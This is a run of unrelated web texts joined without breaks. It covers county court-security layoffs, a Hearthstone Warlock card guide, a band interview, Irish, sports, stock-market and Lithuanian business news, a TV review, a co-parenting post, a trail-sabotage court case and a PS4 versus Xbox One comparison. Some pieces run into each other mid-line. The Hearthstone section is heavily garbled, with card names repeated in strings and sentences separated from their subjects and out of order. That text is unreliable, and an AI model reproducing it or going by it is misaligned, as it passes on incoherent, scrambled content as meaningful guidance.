And it would leave metal detectors and X-ray machines at those facilities unattended. Chief Judge Joe McGraw says that the Sheriff Gary Caruana is required by law to provide courthouse security, but it's unclear how he would do so if some or all of those deputies are laid off. Caruana told the Register Star Tuesday he was considering roving patrols by deputies through the courthouse. He wasn't immediately available for comment today.
Hundreds of thousands of people pass through county court facilities each year, and often they're not empty-handed. From Jan. 1 through Aug. 31, there were 404,000 entries into the four facilities secured by reserve deputies — the Winnebago County Courthouse, the Justice Center, Juvenile Courthouse and Adult Probation. Deputies confiscated more than 5,000 banned items at the entryways, ranging from guns and ammunition to pocket knives and pepper spray. One recent daily log, for example, showed 18 items of contraband seized, including six knives, four canisters of pepper spray, three screwdrivers, scissors, fingernail files and an aerosol can.
Reserve deputies don't only staff metal detectors. They also provide additional courtroom security when judges request it, serve warrants and respond to fights, falls, thefts and other incidents.
"What we do here is critical to the safety and the working aspect of all of these court buildings," said Steve Perry, facilities security director for the county. "This is a very, very busy court system and it requires a lot of staffing."
Perry and his security team all received letters from Caruana on Tuesday announcing the layoffs effective Sept. 30, the last day of the county's fiscal year.
"Whether the reserve deputy program is being used for court security or not, these numbers still will exist," Perry said of the thousands of people who enter facilities and the items deputies seize.
Caruana said Tuesday that in addition to reserve deputies, cuts would need to be made from several departments including corrections, 911 personnel, civil processing and street patrols if he is to achieve the $4.3 million cut proposed by the County Board. The cuts to the Sheriff's Department are part of plan to address a $6.8 million fiscal 2018 budget deficit.
The $960,000 reduction comes from the salaries of 64 reserve deputies. Some, but not all, of those deputies also receive benefits such as pensions through the Illinois Municipal Retirement Fund, said Carla Paschal, the county's chief financial and budget officer. The layoff is just 22 percent of the requested cut to the sheriff's budget. Caruana has said he can absorb as much as $1.5 million in cuts, but not the amount the County Board has proposed.
Winnebago County is not alone in struggling to pay for court security, said William Raftery, a senior information services analyst with the National Center for State Courts based in Williamsburg, Virginia.
"Funding became a huge, huge issue (after) the Great Recession... for a lot of localities," he said. Whether court security is provided by reserve deputies, deputies or civilians "varies widely" across the country, he said.
"That person may be an unarmed bailiff, an armed deputy," he said. In some courts, "there may not be any court security."
A shift in the past 10 to 15 years has court security "moving away from a locally funded issue to states trying to create statewide standards," Raftery said.
The County Board will meet at 5:30 p.m. Thursday to discuss the proposed budget and will meet again on Sept. 28 as it tries to finalize the spending plan. The county’s fiscal year begins Oct. 1.
Staff writer Georgette Braun contributed to this report.
Kevin Haas: 815-987-1410; khaas@rrstar.com; @KevinMHaas
Security stats
Here's a look at activity in the four facilities staffed by reserve deputies from Jan. 1 through Aug. 31.
Entries: 404,194
Banned items: 5,097
Courtroom responses: 80
Warrants served: 325
Incidents: 296
Judge security requests (in courtroom): 273
Judge security request (on camera): 1292013 WCS Europe
Introduction by Elanshin and PolishKing
Your soul shall suffer! Assuming you don't sacrifice yourself to the demons of the Burning Legion. Fear not, however, for Gul'Dan
In this next installment of Starting Stone, we have categorized and highlighted the best Warlock cards, decks, and play styles to help you on your merry way to becoming a Legendary Warlock.
Disclaimer: As the meta game is ever evolving, the decks and cards here represent their strengths in the current meta game. As such there may be cards included to account for these nuances. Your soul shall suffer! Assuming you don't sacrifice yourself to the demons of the Burning Legion. Fear not, however, foris a mighty Warlock and with his help, you too shall conquer the demons and your opponents. Your desire for sacrifices will enhance your play as you inflict damage to yourself to draw more cards.In this next installment of Starting Stone, we have categorized and highlighted the best Warlock cards, decks, and play styles to help you on your merry way to becoming a Legendary Warlock.Disclaimer: As the meta game is ever evolving, the decks and cards here represent their strengths in the current meta game. As such there may be cards included to account for these nuances.
Warlock Overview Life Tap
Beyond Warlock's Hero Power, a common theme of the Warlock class cards is to have an additional cost to playing the card on top of its mana cost. These additional costs are offset by a lowered mana cost when compared with cards of similar power. Warlocks are currently one of the strongest class due to its Hero Power and diverse play styles. Warlock's Hero Power ---- allows a Warlock player to choose to draw two cards per turn for a measly two life and mana. This single ability opens the option for Warlocks to play both aggressive decks with low mana curves and giants Warlock or more commonly known as "Handlock". Due to the flexibility of the Hero Power, a hidden strength of Warlock decks are the uncertainty your opponent faces as he selects his starting hand.Beyond Warlock's Hero Power, a common theme of the Warlock class cards is to have an additional cost to playing the card on top of its mana cost. These additional costs are offset by a lowered mana cost when compared with cards of similar power.
Top Cards 1. Soulfire Four damage for no mana! Soulfire Soulfire
The ideal time to use Soulfire Soulfire Soulfire Soulfire
2. Flame Imp The strongest one mana minion in the game in terms of stat value. At the cost of three damage to yourself, you get a vanilla 3/2 minion on your first turn. Flame Imp Innervate Flame Imp
Flame Imp Flame Imp Flame Imp
3. Voidwalker The playable good version of Goldshire Footman Voidwalker Flame Imp Voidwalker Voidwalker
Since Warlocks will often run multiple one mana minions, it can be difficult to know which minion to play. In most situations, Flame Imp Voidwalker Voidwalker
4. Doomguard On paper, five mana for a 5/7 charge that costs three cards is very questionable for the cost. On a closer examination, however, you begin to realize that Doomguard
Since Doomguard Doomguard Four damage for no mana!is one of the best cards at gaining tempo advantage in the game. For the price of one additional card, you gain the ability to greatly change the state of the board.can also be used in sequence with other cards to an deal unexpected burst damage and kill your opponent.The ideal time to useis when you have no other cards in your hand. This does not mean, however, that you should holduntil you have no other cards. If you have a decent threat to target -- and you will not be guaranteed to discard a critical card -- then use. One of the worst situations is when you have twos in your hand and nothing else.The strongest one mana minion in the game in terms of stat value. At the cost of three damage to yourself, you get a vanilla 3/2 minion on your first turn.is at its strongest in the early game and the strongest opening --nonsense aside -- in the game is to play twos with a Coin on turn one.'s strength decreases as the match progresses. It may also become a burden if you start to lose life and can not safely castwithout running the risk of dying. These drawbacks, however, are minor compared to the strength thatbrings to the early game.Thegood version of. With a 1/3 stat value,will survive against all one mana minions with the exception of his buddy. This is hardly's true strength.is often played to protect a fragile minion who would otherwise easily die. It is especially useful against the Druid and Rogue class because it prevents them from using their Hero Power to clear other minions early.Since Warlocks will often run multiple one mana minions, it can be difficult to know which minion to play. In most situations,is the ideal one mana minion to play from all your options andbeing the second. There are situations, such as playing against a Rogue, wheremay be better.On paper, five mana for a 5/7 charge that costs three cards is very questionable for the cost. On a closer examination, however, you begin to realize thatis a tempo card which brings the power of essentially a seven or eight mana minion out on turn five. When played in an aggressive Warlock deck, it will often discard one or even no cards as you play out your hand.Sinceis quite tanky, unlike most other cards in aggressive warlock decks, it is viable to havetake out a potential threat rather than hitting your opponent for five damage.
Average Cards 9. Siphon Soul Siphon Soul Siphon Soul
10. Shadowflame
Shadowflame Shadowflame Shadowflame
A common play is to cast a charge minion (in particular Leeroy Jenkins Shadowflame Power Overwhelming is a hard removal spell available to Warlocks. At six mana, it is the most expensive single card removal in the game. That said, it fits Warlocks perfectly.allows Warlocks to stabilize their Health and the opponents board all in one card. It is primarily used in control Warlock decks after taking considerable damage in the early game to stabilize.is an interesting card. On its own it has no effect, but i can be combined with a myriad of cards to create the ultimate board wipe. On top of this,allows you the flexibility of choosing how much damage you want based off your opponents board. Just don't forget to attack your opponent first (if you can) before castingon a minion.A common play is to cast a charge minion (in particular), attack your opponent or a high toughness minion and then casting. Similarly, you can useto make even the smallest minion large enough for a powerful board wipe.
Unplayable Cards 19. Summoning Portal A really powerful ability accompanied by an extremely weak 0/4 body. The main problem with Summoning Portal Summoning Portal Summoning Portal
20. Bane of Doom Bane of Doom Blood Imp Voidwalker Flame Imp Succubus Felguard Dread Infernal Bane of Doom Bane of Doom Illidan
21. Felguard Felguard Tazdingo Tazdingo Tazdingo
22. Sense Demons A potentially strong card to fish for Demons in your deck. Modern Warlocks typically don't play enough Demons to warrant this. When stronger Demons find their way into the game, this could be useful in Control type decks that use Demons.
23. Corruption If you are in a frame of mind to remove a minion, you would like it removed immediately. Giving your opponent options to keep it alive through silence, return it to his/her hand, or just suicide the minion for damage is too many options. As such, there is no feasible way to use Corruption
24. Succubus A good card concept made awful by the stat distribution. If Succubus
25. Sacrificial Pact If there were more Demons that Warlocks played, this would potentially have a use. Most Warlocks, unfortunately, play very few Demons and Health gain is not high on the priority list for the aggressive Warlocks that do play Demons. It should be noted, however, that in a mirror match it is an extremely powerful removal card -- it can even one shot your opponent when he plays Lord Jaraxxus
A really powerful ability accompanied by an extremely weak 0/4 body. The main problem with, however, is its four mana cost. It would be too slow in an aggressive Warlock deck and cannot be played onto a near empty board in control Warlock. It is also highly unlikely that it will survive the turn it is played, meaning that you will need to playin conjunction with many other minions.does have a fun factor involved and can be used in non serious decks to bring bigger minions out early.is actually a very good tempo card in theory. Breaking it's ability down it would equate to one mana for two |
fourth record. When we finished touring, right around the beginning of 2008, we were all motivated to start writing and see if we could shrink the usual three-year gap down to two or 2 1/2. You can't rush certain things, Menomena records being one of those things.
O:
Ever consider just doing a sloppy punk record?
DS:
Yeah, that's a really good idea. I think most of my songs probably sound like sloppy punk songs. Maybe that's for the next record.
O:
Go 3 1/2 days between the release of this one and the next one.
DS:
Totally. And let the fans decide.
O:
Capitalism at its finest. The way you describe the process, I imagine a lot of doors being slammed in the making of a Menomena record.
DS:
Funny you should mention that. The last song on this record quite literally features the percussive sound of a door slamming. That's one thing I think would be great to work on -- not get frustrated and swearing off the others in the band. I wish I could always adjust the mind-set that the end justifies the means. When you're in the thick of it, it's hard to trust the other guys and know we will be happy with it. I get caught up in the momentum thing and we just finished the last record, and the reception was good and the tours were good and I want to build on it. And I'm questioning my mortgage and wondering, "Are we going to get this out?"
O:
What takes so long?
DS:
There always are major changes to songs, right up to deadline. And once it comes out I'm really glad they're made. But it's hard not to make that the rationale for taking longer. There's the whole lack of studio budget and the lack of label pressure -- but they're also huge pressures, too. It's great for creative control but it sucks for maintaining any sort of deadline.
O:
How do you decide when it's done?
DS:
When we're all homeless, and we pretty much have no other choice.
O:
Do you guys actually get together in the studio, or is it a process of e-mailing parts and songs and back and forth between the three of you?
DS:
We're all 10 or 15 minutes apart, but we're e-mailing each other, minimizing the person-to-person contact as much as possible. We idolize these bands that talk about their creative process being so much more collaborative. I just think that, while the respect for our contributions hasn't waned over the years, it's become such a business relationship, in so many levels, sadly. I hate to make it sound super dramatic, but the easy answer would be we've learned our own individual processes so well I think getting together would be rocking the boat at this point.
O:
How does it work then when you tour? You have to interact then.
DS:
It works better because we're all so focused. We still drive ourselves around the country in our own little beat-up van. We've got everything mapped out. There's not a lot creative decisions going into it. If Brent has a weird driving style, I might yell at him.Reaction in 1973 to the publication of a report by the first Commission on the Status of Women in Ireland.
The first Commission on the Status of Women was set up by the Irish government in 1970 with Dr Thekla Beere as chair. It found there was much inequality in the treatment of women in Irish society.
Following the publication of the commission's final report in 1973, RTÉ News gets the reactions of several women activists.
Maureen Killeavy is concerned that female unskilled and semi-skilled workers may not get equal pay. Nuala Fennell of Action Information Motivation (AIM) has reservations on recommendations dealing with family maintenance legislation. Gemma Hussey of the Women's Progressive Association thinks that all women should read the report and that women have a duty to join political parties and take part in politics and public life.
Reporter Olivia O'Leary concludes that how far this report's "recommendations go to becoming a reality depends not only on government readiness to implement them, but it also depends on a change to public attitudes and an end to centuries of prejudice."NEW YORK -- For Alex Rodriguez, the decision of whether to accept a suspension or fight on comes down to dollars and sense.
A source in Alex Rodriguez's camp says the slugger "might decide to take his medicine and move on." AP Photo/Seth Wenig
As the day for arbitrator Fredric Horowitz to rule on Rodriguez's appeal of his 211-game ban draws near -- some think it could come as soon as Friday -- the beleaguered slugger has discussed the possibility of accepting a reduced ban without attempting to get an injunction delaying his punishment, according to a source in Rodriguez's camp.
According to the source, a suspension longer than 100 games will likely lead Rodriguez and his attorneys to pursue a temporary restraining order against Horowitz's ruling in federal court.
If he is given a shorter suspension, however, "then Alex will have some things to think about," the source told ESPNNewYork.com.
According to the source, who has been privy to some internal discussions in the Rodriguez camp, the player is weighing the financial implications of continuing to fight this battle versus accepting a suspension that will allow him to take the field sometime in the second half of the coming season.
Taking his battle into the courtroom will cost Rodriguez "at least $10 million, with no guarantee of winning," said the source, while a 100-game ban would cost him $15,425,000 of his scheduled $25 million salary for 2014.
"All of this has been presented to Alex, and he is weighing his options," the source said. "In certain situations it may not make much sense to continue to fight."
Previously, Rodriguez and his attorneys had vowed to fight any suspension -- "I shouldn't even serve one inning," he said in November after storming out of the hearing room upon learning that MLB commissioner Bud Selig would not have to testify -- but clearly that position has softened in the nearly six weeks since the hearing recessed.TV Reviews All of our TV reviews in one convenient place.
Check It Out! With Dr. Steve Brule Check It Out! With Dr. Steve Brule Decker: Unclassified Check It Out! With Dr. Steve Brule Decker: Unclassified Decker: Unclassified Title Decker: Unclassified Score B+ Season 1 Title Check It Out! With Dr. Steve Brule Score A- Season 4 Created by Tim Heidecker and Gregg Turkington Starring Tim Heidecker, Joe Estevez, and Gregg Turkington Debuts Friday, June 17 at midnight Eastern on Adult Swim Format Quarter-hour live-action comedy. Series premiere watched for review
When Tom Goes To The Mayor, Tim & Eric Awesome Show, Great Job!, and other trailblazing projects from Abso Lutely Productions premiered in the mid 2000s, the world was largely unfamiliar with the concept of nightmare television. That applied to critics, too, and as a result, early reviews focused almost exclusively on aesthetic alone—how novel it was that Abso Lutely combined the most unsavory tropes of late-night infomercials with awkward characters (or real-life people), jarring transitions, and pitch-black absurdism.
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And yet even as Tim Heidecker and Eric Wareheim grew in popularity, it wasn’t an Abso Lutely special, but another Adult Swim short, “Too Many Cooks,” that gave nightmare television household familiarity—if not in terminology, then at least in visual recognition. Maybe that’s because “Too Many Cooks” riffed on family sitcoms, a much more accessible and comforting realm of TV than grainy OxiClean commercials. Whatever the case, suddenly everyone and their grandmother—not just Cartoon Network’s night owls—was aware of the bizarre seventh-circle-of-hell programming that populates Adult Swim in the wee, small hours. That certainly didn’t make the hallmarks of nightmare television obsolete, but it did challenge critics to talk about more than just its surface-level freakiness when reviewing it.
So, just to get it out of the way, the new seasons of Check It Out! With Dr. Steve Brule and Decker (now tacked with the subtitle Unclassified) feature all the checkpoints that fans have come to love about both Abso Lutely series. For the former, that means John C. Reilly’s mentally impaired man-child attempting to learn about a different everyday topic or occupation on each episode, with disastrous, often horrific results. The rotten cherry on top is that every installment looks like it’s been played back through a fanged VCR, complete with news updates from the Channel 5 rogues’ gallery. (In the premiere, Scott Clam alerts viewers that Kragg’s River has been poisoned by Myer’s Superfoods and that “all the clams are rotten.”)
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Decker attempts to be slicker in its production than Check It Out!, the joke being that, like Michael Bay’s Transformers films, the bigger the budget Tim Heidecker gets (the version of Heidecker that exists within the On Cinema At The Cinema universe, at least), the worse his product looks. No matter how many green-screen effects get added; no matter how much digitized blood squirts from a terrorist’s shot-open neck, this is still Heidecker’s CIA agent—in his own words—trying to imitate Tom Cruise and coming off more like Donald Trump.
Digging deeper, both season premieres examine characters who have an extremely warped sense of their own masculinity. As different as Steve Brule and Jack Decker (or, more accurately, Heidecker as Heidecker’s id as Jack Decker) are, both of them strive for the most stereotypical (and untrue) idea of what makes someone a true man. When Brule visits a used-car lot, his ideal vehicle is a “cherry-red humdinger” of a convertible. It’s the kind of automobile that instantly becomes a mid-life crisis joke, the kind that gets a wah-wah-pedal guitar riff and a shade-tip from Brule when he sees it glimmering on the showroom floor. That kind of butt-rock lustiness permeates the entire episode. Even a conversation about a Ford Model T inspires a fantasy for Brule, one where he’s flanked by a trio of women who can’t get enough of him laying on the old-timey horn.
Given the childlike nature of the character, it’s never implied that Brule actually wants a flashy car or that the idea of a Model T being a chick magnet is actually appealing to him. He’s just doing what he thinks he’s supposed to be doing as a red-blooded, heterosexual, American male, imitating what he’s seen in movies and beer commercials. In his stunted worldview, a nice car equals American success. And American success equals big-chested women.
Decker’s sense of machismo feels just as outdated, as if the exaggerated version of Heidecker has learned everything there is to know about masculinity and coolness from hyper-violent ’80s action movies. But unlike Brule, it’s more than just imitation—there’s a genuine pathos in the way Jack Decker throws around his weight. As seen in the fake film-review show/Decker companion piece On Cinema, this fictionalized Heidecker is plagued by the nastiest type of loneliness and self-doubt. Jack Decker is amazing at everything he does—marksmanship, seducing stewardesses, intimidating terrorists who have hijacked a plane, all of it—because the man playing him hates himself so much. It’s why he surrounds himself with characters like President Jay Davidson (Joe Estevez) and Special Agent King(s)ton—mild-mannered schlubs who constantly get berated by Decker for being cowardly and inept. It’s also why Heidecker gives this season a framing device that allows for endless Decker adventures for the rest of time, even after the character’s long dead.
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In that way, Heidecker’s Trump comparison feels more apt than ever. When he started amping up Jack Decker’s ugly patriotism, xenophobia, and already bloated self-worth in the Decker webseries, it initially felt like low-hanging fruit designed to target conservatives. But as the Donald’s presidential campaign has moved from being an “It’ll never happen” joke to a “Jesus this might actually happen” joke, the character has become more and more prescient. Does Trump’s increasingly ballooning ego come completely from intense self-hatred the way fake Heidecker’s does? Probably not. His own dick-measuring pomposity probably lies somewhere between Decker and Steve Brule’s attempts at machismo: fueled by antiquated ideas of what a man’s man should be like, but also from a black part of the soul that’s real enough to be scary.
Check It Out! With Dr. Steve Brule
Created by: John C. Reilly, Tim Heidecker, and Eric Wareheim
Starring: John C. Reilly
Returns: Friday, June 17 at 12:15 a.m. Eastern on Adult Swim
Format: Quarter-hour live-action comedy
Season-four premiere watched for reviewIt can be really hard to be a single parent. For one thing, all the responsibilities of raising a child can be overwhelming for just one person. There’s the time required, the financial burden, the emotional strain… but sometimes the hardest part is knowing your kid might be missing out on having a mother or father. You try to make up for it however you can, but it’s extra work.
When parents Jessica Singleton and Jon Megason split up, they knew all this to be true. Rather than divvying up their time with their son, Pierson, and try to each juggle both roles, they made a commitment to each other and their son to remain a family, even if it meant a lot of patience and sacrifice. In the Facebook post below, Jessica explains why Jon doesn’t have to pay a dime through the state and how he remains her son’s father.
This is my ex. This right here is more valuable than gold. This is a man who doesn’t pay a dime through the state because when my son needs new clothes, I just call him.
This is a man who buys a bundle of kids’ movies on Vudu so even I can enjoy them with my son in my own home. A man who drops off the $45 box of pull-ups at my front door so I don’t have to load him up and go to the store.
One who takes his son on 10 min notice, far more often than he should because I have too much to get done or just need a nap. This is a man who listens to me cry because I’m stressed out. This is a man who tells his son not to forget mommy’s boyfriend when he lists his favorite people off the top of his head… A man who rushes over because we got locked out of the house or spends his evening fixing something for us.
This is a man who labeled the presents he bought his son “from mommy” because mommy couldn’t get him as many. A man who still watches my sister’s kids so our son can be with his cousins. One who accompanies me to meet strangers from Craigslist to ensure we are safe. This is the diaper-bag-wearing, chocolate-milk-making, selfless, protective, generous, accomplished FATHER to my son.
The amount of obstacles we’ve had to overcome to get to this point are tremendous. This was not easy, this was a choice. Stop giving excuses and come together for your children. I’m the most stubborn person that I know and forgiveness came easy to us for the sake of our son. And because of that, I see my son every single day. We always welcome each other’s presence.
In case I haven’t told you lately, I’m grateful for you. Most importantly for the motivated individual you are and how you provide Pierson with a phenomenal role model despite the foundation you once had.
I love the amount of love my son will always have from you.
Share this couple’s wonderful example today!The FTSE 100 share index has ended 2016 at an all-time high of 7142, breaking its closing record for a third straight day.
The London market's previous record high of 7129 was achieved in mid-session trading on 11 October.
This year has seen the index achieve its best annual performance since 2013, ending the year 14% up.
The FTSE 100 is dominated by multi-national companies that have benefited from the UK's decision to leave the EU.
These companies tend to have earnings in foreign currencies, like the US dollar, which have been buoyed by the decline in the value of Sterling.
The pound fell again on Friday, ending the year 18% lower against the US dollar than it was at the time of the referendum.
The pound is 11% lower against the Euro than it was at the time of June's vote.
The FTSE 100 has been Europe's best performing major stock market this year.
The FTSE 250, which consists largely of UK based manufacturers and retailers, ended the year 3% higher at 18,077.Purchases by Klaipėda FEZ companies exceeded EUR 200 million in Lithuania
In 2016, investors operating in Klaipėda Free Economic Zone (FEZ) purchased goods and services for EUR 200,5 million from Lithuanian suppliers, 1,9% more than a year ago. Last year was the first time when purchases by FEZ companies in Lithuania exceeded EUR 200 million.
The companies operating in Klaipėda FEZ are not only large employers and taxpayers, but also solid customers of businesses in Klaipėda region and Lithuania. Last year, purchases of goods and services by 29 investors operating in Klaipėda FEZ, exceeded EUR 200 million for the first time.
Among the largest purchasers of goods and services from Lithuanian suppliers were NEO Group, Mestilla, Retal and Fortum Klaipėda. A total of 15 companies operating in Klaipėda FEZ had purchases exceeding EUR 1 million last year.
According to Eimantas Kiudulas, Manager of Klaipėda FEZ, these numbers once again demonstrate the significance of foreign investment to the national economy.
“Currently, over 2,800 of employees are working in Klaipėda FEZ, representing every 20th person of working age in Klaipėda. Last year, FEZ companies paid EUR 32,5 million in employment-related taxes and VAT. However, the amount of purchases from Lithuanian suppliers is at least six times higher than that. Those two hundred million euros ultimately turn into wages for other Lithuanian suppliers, taxes or investment” – said Eimantas Kiudulas.
In 2016, all 29 companies operating in Klaipėda FEZ generated more than EUR 887 million in revenue (7,4% more that in 2015). Moreover, the exports of FEZ companies in 2016 accounted to EUR 635 million, which is 8,7% more than a year ago. Also, the exports of Klaipėda FEZ companies accounted for 2,8% of total Lithuania’s exports and for 28% of exports from Klaipėda region.
This year, Klaipėda FEZ is targeting service companies. Since the beginning of the year, Lithuanian legislation has expanded possibilities for service sector companies to invest in national free economic zones. For this reason, Klaipėda FEZ has already entered into negotiations with a company – an IT database services exporter – intending to benefit from the amended legislation by investing in Klaipėda FEZ.
Klaipėda FEZ is one of the most actively managed free economic zones in Lithuania
Klaipėda FEZ has been operating since 2002 and was the first of the six free economic zones currently operating in Lithuania.
The FEZ has an area of 412 hectares and hosts companies engaged in the production of plastics, electronic devices, and steel structures, as well as energy and metal processing companies; the choice of these companies was due to the location, availability of qualified employees, and the infrastructure of the region.
Today, Klaipėda FEZ is one of the most actively managed free economic zones in Lithuania according to the scope of attracted investment and the number of jobs created.
To date, 29 companies employing over 2,500 people have signed agreements on the operations in Klaipėda FEZ. Two-thirds of the companies are foreign capital companies. Most of the products produced in Klaipėda FEZ are intended for export.
The number of companies operating in the territory of Klaipėda FEZ, including investors and small- and medium-sized businesses concentrating on them, exceeds 100, and these companies employ over 4,000 people.
Klaipėda FEZ was recognised as an economic project of national significance by a special resolution of the Government of the Republic of Lithuania.
by Kostas Baubinas
Further information:
Neringa Petrauskaitė We Are Marketing Partner [email protected] +370 676 40572April 15th, 2015, North Vancouver Provincial Court.
Update – May 5th – the information in this article was based on flawed information. It turns out Ms Kraal had not entered a plea. Her lawyer informed the court that his client intended to plead guilty at a future court appearance. Since that time Mr. Peters has indicated that Ms Kraal has decided to contest the charges. More information to come shortly.
Ms Tineke Kraal of North Vancouver British Columbia has pleaded guilty to criminal code violation 430 5.1 (b): Breach of duty likely to cause mischief. Ms Kraal’s lawyer Martin Peters appeared to enter the plea. Ms Kraal did not attend. For the entire picture click here.
This charge relates to video evidence that apparently showed someone placing debris on trails on Mount Fromme in North Vancouver. The evidence, painstakingly collected by two local mountain bikers, was presented to North Vancouver RCMP. Based on this evidence RCMP arrested 64-year old Tineke Kraal at 5:00 AM on January 4th, 2015. Local riders had noticed logs and debris on certain trails for many years.
Ms Kraal’s husband declared earlier that they would contest the charges. New information came forward shortly after this casting doubt on Mr Kraal’s contention that his wife’s actions were harmless. A letter Ronald Kraal sent to North Vancouver District Council in 2005 declared that he and his wife were ‘at war with mountain bikers’ and that they ‘destroy structures’ on their daily walks.
The Crown decided earlier to proceed summarily, meaning the charge will be treated as a misdemeanour. In these cases the maximum sentence is 6 months in jail and a fine of $5000.
Sentencing is expected sometime in June. An exact date will be set for sentencing shortly.
For more information on the charge and sentencing click here.
For more on the case as a whole click here.
Be aware that we reserve the right to moderate rude or disrespectful posts regarding this issue.The PS4 is now available in the US and coming to the UK on 29 November, while the Xbox One is a smidgeon away from launch too, on 22 November. The next-generation of console gaming has begun and it promises to be a doozy.
There has been a lot of posturing and rhetoric over the past few months, from Microsoft, Sony and the gaming community and it seems that gamers are starting to divide into two camps. But which camp should you join? Which of the two consoles should you invest in for the best experience now and in the future?
Which is better for games? And which is better for the family? There's only one way to find out: a battle royal.
Both consoles have a similar design aesthetic and come in black with glossy and matte segments. The Xbox One is considerably larger, however: more box-like. The PlayStation 4 is sleek and thin, with a strange but alluring slanted front and back. The Xbox One looks like a posh DVD player from the 90s.
The Xbox One also comes with a traditional Microsoft fave, the power brick. The PS4 power supply is inside the sleek console itself. What this means for heat and noise we'll find out over the coming weeks, but it is an important thing to consider if you prefer your cabling to be tidy.
It's also important to note that the PS4 can be stood upright, should you lean towards that sort of thing, while the Xbox One cannot.
READ: Xbox One release date and everything you need to know
Unlike the last generation of consoles, the next-gen machines each run a more familiar architecture for developers. It's not too dissimilar to PC tech and they share some common features.
The Xbox One has a 1.75GHz 8-core AMD custom processor while the PS4 uses a 1.6GHz 8-core x86-64 Jaguar processor also made by AMD. The PS4 chip is said to be capable of up to 2.75GHz, though, so we'll see how that pans out in the future.
Graphics-wise it's a bit trickier to sort out, mainly because of the actual information given to us by the manufacturers. We know that the PS4 runs a customised AMD Radeon GPU running at 1.84TFlops with 1,152 cores, while the Xbox has 768 cores for shading. The clock speeds fractionally fall in the Xbox's favour, running at 853MHz to 800MHz, but it cannot be denied that the PS4 has technically more to offer in the graphics department.
As for RAM, both consoles feature 8GB of RAM.
READ: PS4 release date and everything you need to know
Both consoles come with a Blu-ray drive and much has been made of the PS4 not being able to play 3D Blu-rays from day one. As with some extra features that we will come to, Sony is promising to add that ability at a later date - it wanted to get the important gaming aspects of the console right first.
But to be fair, less has been made of the fact that the Xbox One will be unable to play 3D Blu-rays on day one too. Our advice? Don't throw away that 3D Blu-ray player quite yet, or if you use a PS3, you might have to find a bit more room in the AV cabinet to keep hold of it.
CD support is also an issue, and the Xbox One trumps its rival in this department. It can play CDs while the PS4 currently cannot. Again, Sony has promised that feature in the future.
Both consoles feature both Wi-Fi and Ethernet (cabled internet) connectivity. Both also have HDMI outputs, which comes as no surprise. But only the Xbox One has a HDMI input. You can hook up your TV set-top-box to the Xbox One, therefore, which is one of its major entertainment features. In fact, you could even hook up a PS4 to the Xbox One and play a PS4 game while chatting to your Xbox friends in a snapped sidebar. Neat, huh?
Hard drives are identical in size, at 500GB a piece. But the PS4 definitely wins this particular battle by allowing an owner to swap out the original one for a larger or faster model.
READ: PS4: How to upgrade the hard drive up to a whopping 2TB the easy way
The Xbox One internal hard drive is non-replaceable. You will be able to plug in an external hard drive via a USB 3.0 port and even use it to install games on, but that isn't as neat a solution. There's also cloud storage for save games, etc, on both.
Of the two new controllers, Sony's DualShock 4 offers perhaps the most radical improvements over former generations. It is larger than the traditional DualShocks of old and, some might say, feels a bit more like an Xbox controller.
It comes with a touch panel which will be handy for some games and browser, and a dedicated Share button which, once pressed, opens up some of the more social aspects of the PS4 gaming experience, such as posting clips of gameplay. It also comes with an LED light bar to help identify players. It can also be used by developers to inform the player of in-game events.
Audio is now streamed wirelessly to the controller so you can hook it up to a headset for either multiplayer chat or in-game sound.
READ: Sony PS4 hands-on video review
The new Xbox One controller is similar to the one for the Xbox 360, but adds "40 improvements", claims Microsoft. There are now vibration motors in the trigger buttons to give fingertip feedback of varying levels.
It has been remodelled with better thumbsticks, more precise D-pad and the battery compartment has gone, with batteries now fitting inside the back of the controller rather than in an attached box. With the Xbox One controller it's very much a sense of, if it ain't broken, don't fix it.
Both consoles will have motion and voice control functionality, but it is Microsoft that has shouted loudest about its console's talents in this area. For a start, the Xbox One comes with the latest version of the Kinect sensor.
Regardless of the privacy concerns that some have voiced, our experience with the new Kinect has always been good. Of course, it will be used by developers to enhance or even be the centrepiece for games, but the camera and voice control functionality is heavily integrated in every aspect of the new console.
From booting the machine, the Kinect will recognise the player sitting in front of it and instantly load that person's profile. Voice control can then be used to change what's on screen, from a game to TV to app to browser, whatever. And it's all done instantly and with much better accuracy than the previous sensor.
The PlayStation 4 does not come with a camera in the box - unless you pay more for a bundle. The PlayStation 4 Eye is a slightly less sophisticated beast, and its features are yet to be properly explored. It too allows for voice control and it can track individual controllers and, even, older Move controllers for gaming.
The user interface experiences of both consoles will be covered in Pocket-lint's full, in-depth reviews, but for now, there are a couple of major features for each console that could make a difference to you.
As it is a Microsoft machine, the Xbox One has Skype. That might seem standard to you, but it could be a massive feature for a family. Because of the new Kinect sensor being always present, your friends and loved ones can keep in touch in Full HD over a living room television rather than a computer tucked away in a spare room or under the stairs. Think Back to the Future II and it has great potential.
READ: PS4 user interface explored: Hands-on with a simple, speedy experience
The Xbox One also has OneGuide, the television EPG that tells you what programmes are on, and features the amazing Snap Mode. This latter feature allows you to Snap functions and supporting applications to the side of the screen so you can continue watching TV or playing a game, while looking at Internet Explorer, say.
On day one, the PS4 is a more basic games playing monster. It is almost solely designed at present to play games and play games well. It doesn't support MP3 playback or DLNA media streaming - again, until a future planned patch - while the Xbox One does, in a roundabout way, but its menu system is simplified and a little less busy that the Xbox One's.
READ: Xbox One dashboard preview: Here's how your next-gen console will work
Neither console offers backwards compatibility with the last generation of games. The PS4 will introduce a feature in the near future that will allow you to stream PS3 games from a massive library of titles.
Like the OnLive system, the games will be hosted remotely. Using Gaikai technology, you will be receiving video of your game over the internet instead, but in all other senses it is like the game is being played on your own machine.
It is believed that this service will cost a subscription fee to use, but we're not yet sure whether it will be included in the PlayStation Plus package.
Unlike with the previous generation, Sony now asks for a subscription fee if you want to play multiplayer games online. Not always, as some developers can build in interesting workarounds, but certainly with the biggest and most obvious games, such as first-person-shooters.
The subscription though is part of PlayStation Plus, the company's membership scheme that also covers PS3 and PS Vita. As well as offer multiplayer gaming for the PS4, PS Plus also rewards members with free downloadable games and discounts. And those games are big titles too. For example, on day one, Resogun and Contrast will be free to all PlayStation Plus subscribers. And you get to keep the games for as long as you remain a member.
Xbox One continues with the traditional Xbox Live Gold structure as before. An Xbox Live Gold subscription costs £5.99 a month, while a PS Plus subscription is a little cheaper at £5.49.
If you want to pay a year's subscription and save money, both with cost £39.99 for 12 months.
The Xbox One uses Xbox SmartGlass in much the same way as the Xbox 360, although it will offer a more-complex and immersive second-screen experience than before as developers learn to utilise the function.
